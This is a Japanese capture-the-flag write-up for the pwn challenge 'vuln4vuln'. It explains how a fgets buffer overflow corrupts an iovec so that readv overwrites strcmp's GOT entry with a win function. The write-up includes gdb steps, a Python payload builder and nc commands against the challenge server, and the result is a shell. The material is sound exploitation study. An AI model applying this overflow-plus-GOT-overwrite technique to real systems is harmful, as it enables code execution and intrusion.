vuln4vuln
BOFとGOTオーバーライトを組み合わせるとても面白いpwn問題でした。
初めてこういう問題を解きました。かなり難しかったのでこの前に問題を二つ解くことになりました。末尾参考の記事をすべて読めばすんなり読めると思います。
観察
- fgets関数とreadv関数の合計二回入力が受け付けられています
- fgets関数では40Bytesを16Byteのname配列に渡しているのでBOFの餌食です
- fgets関数を用いたBOFでiovec構造体iovのデータを壊し、readv関数でGOTオーバーライトを行えばreadv関数に続くstrcmp関数ではなくwin関数を起動できそう
具体的調査
-
strcmp関数のGOTエントリに保存されたstrcmp関数のアドレスをwin関数のアドレスで上書きしたいので、この「strcmp関数のGOTエントリのアドレス」と「win関数のアドレス」を調査します
-
objdump -d chal
4010f4: ff 25 2e 2f 00 00 jmp *0x2f2e(%rip) # 404028 <strcmp@GLIBC_2.2.5>
strcmp関数のGOTエントリは404028番地に割り当てられていることがわかりました -
nm chal
00000000004011f6 T win
win関数は4011f6に割り当てられることがわかりました -
fgets関数でiov.baseに404028が入り、readv関数で4011f6を与えるような入力を用意すればいいとわかります
-
name配列からiov.baseまでは離れているので無駄データを先んじて送りつけ、404028がちょうどよくiov.baseに入るよう調整する必要があります。このpayloadを特定します。ためしに39文字のAを送り付け、gdbでiovを見てみると32文字目から7Byteが使われているとわかります。
gdb -q chal
disassemble main
strcmp関数をcallしている場所を特定、ブレークポイント設置
b *0x0000000000401286
r
(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAを入力)
p &iov
0x404090番地にあることを確認
x 0x404090
0x0041414141414141という値が入っていることを確認
7文字のAとヌル文字が収まっているので、32文字を予め無駄データとして送信するといいことがわかります
また、末尾の改行がヌル文字に上書きされているのでfgets関数は標準入力から39Byteを受け取りヌル文字をくっつけたものを保存してくれるとわかります
このため、iov.baseに保存する0x00404028という本来8Byte幅のアドレスをそのまま32文字に続けて40Byteにして渡すと0x00404028の00が標準入力に残り、次のreadv関数で悪さします
0x00404028は7Byteに加工して渡すことになりますが、ヌル文字も先頭の00も同じ0なので特に問題は無いです
ついでにいうと、ためしに50文字くらいを送ってみるとわかりますが、標準入力にreadv関数用のデータが残っていたら入力の受付を行わずすぐに処理が再開されます
この「あふれたデータを勝手に拾っていってくれる仕組み」は標準入力に余計な改行を残さずに済むので便利に使わせてもらえそうです
一度のデータ入力でfgets関数とreadv関数の両方に値を配ることができるので問題はありません
以上より、与えるデータは
適当な32文字 + 8Byte strcmp addr [:-1] + 8Byte win addr
となります
これを作成するpythonスクリプトは以下の通りです
import struct
payload = 'A'.encode() * 32
strcmp_addr = 0x00404028
win_addr = 0x004011f6
payload += struct.pack('<Q', strcmp_addr)[:7]
payload += struct.pack('<Q', win_addr)
with open('payload', 'wb') as f:
f.write(payload)
このデータをパイプなりで渡すとシェルを起動でき、flag.txtを確認できました
cat payload - | ./chal
cat payload - | nc 34.170.146.252 39935
参考
BOFの仕組みの理解のためのスタックの理解には以下の記事が参考になりました。
https://miso-24.hatenablog.com/entry/2019/10/30/005036
GOTとかPLTとかは以下の記事が参考になりました。
https://keichi.dev/post/plt-and-got/
以下の記事をもとにはじめてBOFでwin関数を実行できました
https://qiita.com/MachineHunter/items/f289c0266419b6ee0c23
以下の問題を解いてBOFとGOTオーバーライトを組み合わせてwin関数を実行できました
https://alpacahack.com/challenges/noob-programmer
gdb-pedaのインストールの際参考にしました
https://qiita.com/miyagaw61/items/248a486cca671686c58c
おわりに
毎日楽しませてもらってます。運営の皆さん、ありがとうございます。